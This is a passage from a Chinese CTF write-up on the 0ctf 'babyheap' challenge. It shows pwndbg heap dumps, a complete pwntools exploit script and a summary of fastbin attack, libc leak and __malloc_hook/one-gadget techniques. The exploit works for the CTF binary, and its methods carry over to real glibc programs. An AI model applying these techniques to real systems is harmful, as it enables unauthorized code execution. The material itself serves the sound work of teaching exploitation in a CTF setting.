    0x7ffff7dd1b50 <main_arena+48>:    0xfff7a92e20000000    0x0000000000000000
    0x7ffff7dd1b60 <main_arena+64>:    0x0000000000000000    0x0000000000000000
    0x7ffff7dd1b70 <main_arena+80>:    0x0000000000000000    0x00005555557571a0
    0x7ffff7dd1b80 <main_arena+96>:    0x00005555557570f0    0x00005555557570f0
    0x7ffff7dd1b90 <main_arena+112>:    0x00005555557570f0    0x00007ffff7dd1b88
    0x7ffff7dd1ba0 <main_arena+128>:    0x00007ffff7dd1b88    0x00007ffff7dd1b98
    0x7ffff7dd1bb0 <main_arena+144>:    0x00007ffff7dd1b98    0x00007ffff7dd1ba8
    0x7ffff7dd1bc0 <main_arena+160>:    0x00007ffff7dd1ba8    0x00007ffff7dd1bb8
    0x7ffff7dd1bd0 <main_arena+176>:    0x00007ffff7dd1bb8    0x00007ffff7dd1bc8
    0x7ffff7dd1be0 <main_arena+192>:    0x00007ffff7dd1bc8    0x00007ffff7dd1bd8
    0x7ffff7dd1bf0 <main_arena+208>:    0x00007ffff7dd1bd8    0x00007ffff7dd1be8
    pwndbg> 

    当下次执行malloc后,检测到__malloc_hook不为0,将会指向它指向的函数。

    5、通过再一次的的malloc来触发

    alloc(255)

     0x05:exp

    exp来自:https://bbs.pediy.com/thread-223461.htm

    #!/usr/bin/env python
     
    from pwn import *
    import sys
     
    context.log_level = "debug"
     
    elf = "./0ctfbabyheap"
    ENV = {"LD_PRELOAD":"./libc.so.6"}
     
    p = process(elf)
     
    def alloc(size):
        p.recvuntil("Command: ")
        p.sendline("1")
        p.recvuntil("Size: ")
        p.sendline(str(size))
     
    def fill(idx, content):
        p.recvuntil("Command: ")
        p.sendline("2")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
        p.recvuntil("Size: ")
        p.sendline(str(len(content)))
        p.recvuntil("Content: ")
        p.send(content)
     
    def free(idx):
        p.recvuntil("Command: ")
        p.sendline("3")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
     
    def dump(idx):
        p.recvuntil("Command: ")
        p.sendline("4")
        p.recvuntil("Index: ")
        p.sendline(str(idx))
        p.recvline()
        return p.recvline()
     
     
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x10)
    alloc(0x80)
     
    free(1)
    free(2)
     
    payload = p64(0)*3
    payload += p64(0x21)
    payload += p64(0)*3
    payload += p64(0x21)
    payload += p8(0x80)
    fill(0, payload)
     
    payload = p64(0)*3
    payload += p64(0x21)
    fill(3, payload)
     
    alloc(0x10)
    alloc(0x10)
     
    payload = p64(0)*3
    payload += p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)
     
    libc_base = u64(dump(2)[:8].strip().ljust(8, "x00"))-0x3c4b78
    log.info("libc_base: "+hex(libc_base))
     
    alloc(0x60)
    free(4)
     
    payload = p64(libc_base+0x3c4aed)
    fill(2, payload)
     
    alloc(0x60)
    alloc(0x60)
     
    payload = p8(0)*3
    payload += p64(0)*2
    payload += p64(libc_base+0x4526a)
    fill(6, payload)
     
    alloc(255)
     
    p.interactive()

     

    0x06:知识点总结

    需要有堆溢出

    fastbin 单链表 FILO

    fastchunk分配有检查,大小与index要匹配

    small chunk被释放后,fd和bk指针指向unsorted bin的表头,这个地址在libc中,相对偏移固定,可利用泄漏fd中的内容来算出libc被加载的地址。

    __malloc_hook ,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller) ,当调用 malloc()时,首先判断 hook函数指针是否为空,不为空则调用它。

    one-gadget RCE 是在 libc 中存在的一些执行 execve('/bin/sh', NULL, NULL) 的片段。当我们知道 libc 的版本,并且可以通过信息泄露得到 libc 的基址,则可以通过执行该gadget来获得 shell。

  • 相关阅读:
    堆栈
    一元多项式的乘法和加法
    单链表每隔k反转
    python命令行参数
    markdown学习笔记
    ansible学习笔记
    Linux进程管理和性能相关工具
    二分查找,折半查找,特殊情况二分查找
    插入排序,冒泡排序,归并排序, 稳定排序
    不稳定排序,选择排序,快速排序,快速排序优化, 内部排序
  • 原文地址:https://www.cnblogs.com/ha2ha2/p/9366443.html
Copyright © 2020-2023  润新知